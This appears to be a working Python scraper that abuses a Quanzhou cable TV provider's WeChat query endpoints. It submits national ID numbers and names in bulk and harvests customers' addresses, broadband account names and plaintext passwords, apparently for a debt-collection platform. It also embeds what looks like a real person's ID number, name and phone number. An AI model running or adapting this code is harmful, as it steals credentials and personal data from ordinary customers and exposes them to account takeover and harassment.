# coding=utf-8
import re
import os
import time
import json
import codecs
import gevent
import requests

from gevent import monkey
from tools import save_file, channel_1, aes_2, field_handle
from utils.value_formater import is_valid_idnum
from concurrent.futures import ThreadPoolExecutor, wait

monkey.patch_all()

class_name = "quanzhouguangdian"

headers = {
    "Host": "wx.qzcatv.cn",
    "Connection": "keep-alive",
    "Accept": "text/plain, */*; q=0.01",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "http://wx.qzcatv.cn",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.691.400 QQBrowser/9.0.2524.400",
    "X-Requested-With": "XMLHttpRequest",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4",
}

field_name_mapper = {
    u"": "",
}

file_item_header = "query_id_number^query_name^query_province^query_city^code^address^account^password^crawled_time"
database_item_header = "idnumber^c_phone^relation^c_name^comment^level^creatd_time"

cust_block_pattern = ur"<span id=.*?确定"
cust_code_pattern = r"C0033\">(.*?)</span>"
address_pattern = r"<br>(.*?)<br>"

custcode_url = "http://wx.qzcatv.cn/qzgdwl/index.php?m=qzgdwl&a=query"
query_url = "http://wx.qzcatv.cn/qzgdwl/index.php?m=qzgdwl&a=queryUser"

raw_file_path = ur"D:\催收平台的爬取数据\微信公众号_泉州广电/raw_data.txt"
processed_file_path = ur"D:\催收平台的爬取数据\微信公众号_泉州广电/processed_data.txt"

# processed_file_path = ur"data/qzgd.txt"
save_file_name = "qzgd"

worker_num = 10
crawl_num = 0

crawled_set = set()


def get_content(url, payload=None, method="GET"):
    while 1:
        try:
            with gevent.Timeout(10, requests.Timeout):
                if method == "GET":
                    response = requests.get(url, headers=headers, params=payload, verify=False, allow_redirects=False)
                else:
                    response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
                response.encoding = "utf-8"

                if response.status_code in (302, 200):
                    return response.text
                elif response.status_code in (404, 500):
                    return ""
                else:
                    time.sleep(0.5)
        except Exception as e:
            print(e.message)
            continue


def load_crawled():
    print ("load crawled phones...")

    if os.path.exists(raw_file_path):
        with codecs.open(raw_file_path, 'r', encoding="utf-8") as read_file:

            for line in read_file:
                crawled_set.update([json.loads(line).get("query_id_number")])


def crawl(file_path):
    global crawl_num

    def get_line_generator():

        with codecs.open(file_path, 'r', encoding="utf-8") as read_file:
            for line in read_file:
                try:
                    yield line
                except StopIteration:
                    yield []

    def query_by_file(query_fn, raw_file_path):
        global crawl_num
        try:
            for line in line_generator:
                if u"泉州市" not in line:
                    continue

                try:
                    id_number = line.split(",")[0]
                    if id_number in crawled_set:
                        continue
                except Exception as e:
                    print(e)
                    continue

                crawl_num += 1

                print (crawl_num)

                id_number, name, province, city = line.replace("\r", "").replace("\n", "").split(",")

                param_dict = {
                    "query_id_number": id_number,
                    "query_name": name,
                    "query_province": province,
                    "query_city": city,
                }

                result = query_fn(param_dict)

                if result:
                    save_item_with_json(raw_file_path, result)

        except StopIteration:
            return

    load_crawled()

    line_generator = get_line_generator()

    pool = ThreadPoolExecutor(max_workers=worker_num)

    executor_list = []

    for _ in xrange(worker_num):
        executor_list.append(pool.submit(query_by_file, query, raw_file_path))

    print (wait(executor_list))


def process_for_file(result_dict):
    value_lists = process_one(json.dumps(result_dict))

    # header
    # 查询时所用的身份证^查询时所用的姓名^查询时所用的省份^查询时所用的城市^订单代码^地址^宽带账号^宽带密码^爬取时间
    # query_id_number^query_name^query_province^query_city^code^address^account^password^crawled_time

    return value_lists


def process_for_channel_1(result_dict):
    value_lists = []

    item = result_dict

    results = item.get("result", [])

    for unit in results:
        pws = unit.get("pws", [])
        account = ""

        if len(pws) == 1:
            account = pws[0].keys()[0]

        account = account[:account.rfind("@")]

        value_list = [
            field_handle(item.get("query_id_number", "")),  # idnumber
            aes_2(field_handle(account)),                   # c_phone
            u"本人",                                         # relation
            field_handle(item.get("query_name", "")),        # c_name
            "",                                              # comment
            "1",                                             # level
            "",                                              # creatd_time
        ]

        value_lists.append(value_list)

        # process_for_channel_1("^".join(value_list))

    return value_lists


def process_one_with_dict(line):
    value_lists = process_one(line)

    value_dicts = []

    for value_list in value_lists:
        value_dict = dict(zip(file_item_header.split("^"), value_list))
        value_dicts.append(value_dict)

    return value_dicts


def process_one(line):
    value_lists = []

    item = json.loads(line)

    results = item.get("result", [])

    for unit in results:
        cust_code = unit.get("cust_code", "")
        address = unit.get("address", "")
        pws = unit.get("pws", [])
        account = ""
        password = ""

        if len(pws) == 1:
            account = pws[0].keys()[0]
            password = pws[0].get(account)

        value_list = [
            item.get("query_id_number", ""),
            item.get("query_name", ""),
            item.get("query_province", ""),
            item.get("query_city", ""),

            cust_code,
            address,
            account,
            password,

            item.get("crawled_time", "")
        ]

        value_lists.append(value_list)

    return value_lists


def process(file_path=None):
    if file_path is None:
        file_path = raw_file_path

    with codecs.open(file_path, 'r', encoding="utf-8") as read_file:
        for line in read_file:

            value_lists = process_one(line)

            # header
            # 查询时所用的身份证^查询时所用的姓名^查询时所用的省份^查询时所用的城市^订单代码^地址^宽带账号^宽带密码^爬取时间
            # query_id_number^query_name^query_province^query_city^code^address^account^password^crawled_time

            for value_list in value_lists:
                save_value_list(processed_file_path, value_list)


def querry(task):
    id_number = task.get("person", {}).get("idnumber", "")
    name = task.get("person", {}).get("name", "")
    province = task.get("person", {}).get("id_province", "")
    city = task.get("person", {}).get("id_city", "")

    result_dict = query(id_number, name, province, city)

    # result = process_one_with_dict(json.dumps(result_dict))

    return result_dict


def querry2(person):
    id_number = person.get("idnumber", "")
    name = person.get("name", "")
    province = person.get("id_province", "")
    city = person.get("id_city", "")

    result_dict = query(id_number, name, province, city)

    # result = process_one_with_dict(json.dumps(result_dict))

    return result_dict


def query(id_number, name, province, city):
    payload = {
        "cert_no": id_number,
        "cust_name": name
    }

    result_dict = {
        "query_id_number": id_number,
        "query_name": name,
        "query_province": province,
        "query_city": city,
        "result": [],
        "crawled_time": get_current_datetime()
    }
    # result_dict.update(param_dict)

    if is_valid_idnum(id_number) is False:
        return result_dict

    content = get_content(custcode_url, payload=payload, method="POST")

    if content != "":
        if u"不存在" in content:
            return result_dict

        cust_block_list = re.findall(cust_block_pattern, content)

        for cust_block in cust_block_list:

            item_dict = {}

            cust_code = "".join(re.findall(cust_code_pattern, cust_block))
            address = "".join(re.findall(address_pattern, cust_block))

            if cust_code.strip() == "":
                return result_dict

            address = address.replace(name, "").replace(u"地址：", "").strip()

            item_dict.update({"cust_code": cust_code})
            item_dict.update({"address": address})
            item_dict.update({"pws": []})
            payload = {
                "custcode": cust_code
            }

            content = get_content(query_url, payload=payload, method="POST")

            if content != "":
                json_content = json.loads(content)

                for item in json_content:
                    login_name = item.get("LOGINNAME", "")

                    if login_name not in (None, ""):
                        password = item.get("PASSWORD", "")

                        item_dict["pws"].append({login_name: password})

            result_dict["result"].append(item_dict)
    return result_dict


def get_current_datetime():
    return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time()))


def get_value_list_str(value_list, sep="^"):
    for i in xrange(len(value_list)):
        if value_list[i] is None:
            value_list[i] = ""
        value_list[i] = value_list[i].replace("\r", "").replace("\n", "").replace("^", "|").strip()

    return sep.join(value_list) + '\n'


def save_value_list(file_path, value_list, sep="^"):
    codecs.open(file_path, 'a', encoding="utf-8").write(get_value_list_str(value_list, sep))


def save_item_with_json(file_path, item):
    codecs.open(file_path, 'a', encoding="utf-8").write(json.dumps(item, ensure_ascii=False) + "\n")


def query_wrap(task):
    raw_result = querry(task)

    value_lists = process_for_file(raw_result)
    for value_list in value_lists:
        value_str = "^".join(value_list)

        save_file(filename=save_file_name, head=file_item_header, file=value_str)

    channel_value_list = process_for_channel_1(raw_result)
    for channel_value in channel_value_list:
        value_str = "^".join(channel_value)

        channel_1(value_str)


def main():
    # qzgd = QuanZhouGuangDian()
    # print (qzgd.query({"id_number": "350500196807133512", "name": u"陈远芳"}))
    # qzgd.crawl(u"E:\资源\查询参数\hadoop_name_id_not_null.txt")
    # qzgd.process()

    task = {
        "taskid": "5112577232323132",
        "entrance": ["1", "2", "3"],
        'person': {
            "idnumber": "350500196807133512",
            "name": u"陈远芳",
            "mobile": "18664614877",
            "id_province": u"福建省",
            "id_city": u"泉州市",
            "mo_province": "",
            "mo_city": "",
            "operator": "",
        },
    }

    # 如果这是传整个 task 进来的话
    # print (querry(task))

    query_wrap(task)
    # 如果这是传个人信息进来的话
    # print (qzgd.querry2(task.get("person")))


if __name__ == '__main__':
    main()
